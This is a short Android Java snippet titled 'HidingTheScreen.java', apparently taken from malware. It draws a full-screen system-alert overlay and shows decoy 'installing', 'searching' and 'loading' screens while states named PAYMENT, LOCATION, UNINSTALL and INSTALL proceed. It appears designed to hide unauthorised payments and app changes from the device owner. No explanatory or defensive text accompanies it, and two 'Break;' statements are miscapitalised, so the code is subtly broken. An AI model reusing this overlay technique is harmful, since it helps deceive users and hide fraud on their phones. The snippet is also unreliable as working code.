HidingTheScreen.java

final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
       WindowManager.LayoutParams.MATCH_PARENT,
       WindowManager.LayoutParams.MATCH_PARENT,
       WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
       WindowManager.LayoutParams.FLAG_FULLSCREEN,
       PixelFormat.TRANSLUCENT);

LayoutInflater li = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE);

View mainView = null;

switch (process) {
   case PAYMENT:
       mainView = li.inflate(R.layout.money_for_nothing_installing, null);
       break;
   case LOCATION:
       mainView = li.inflate(R.layout.money_for_nothing_setting, null);
       break;
   case UNINSTALL:
       mainView = li.inflate(R.layout.money_for_nothing_searching, null);
       Break;
 case INSTALL:
       mainView = li.inflate(R.layout.money_for_nothing_loading, null);
       Break;

}

final View finalMainView = mainView;

_windowManager.addView(mainView, params);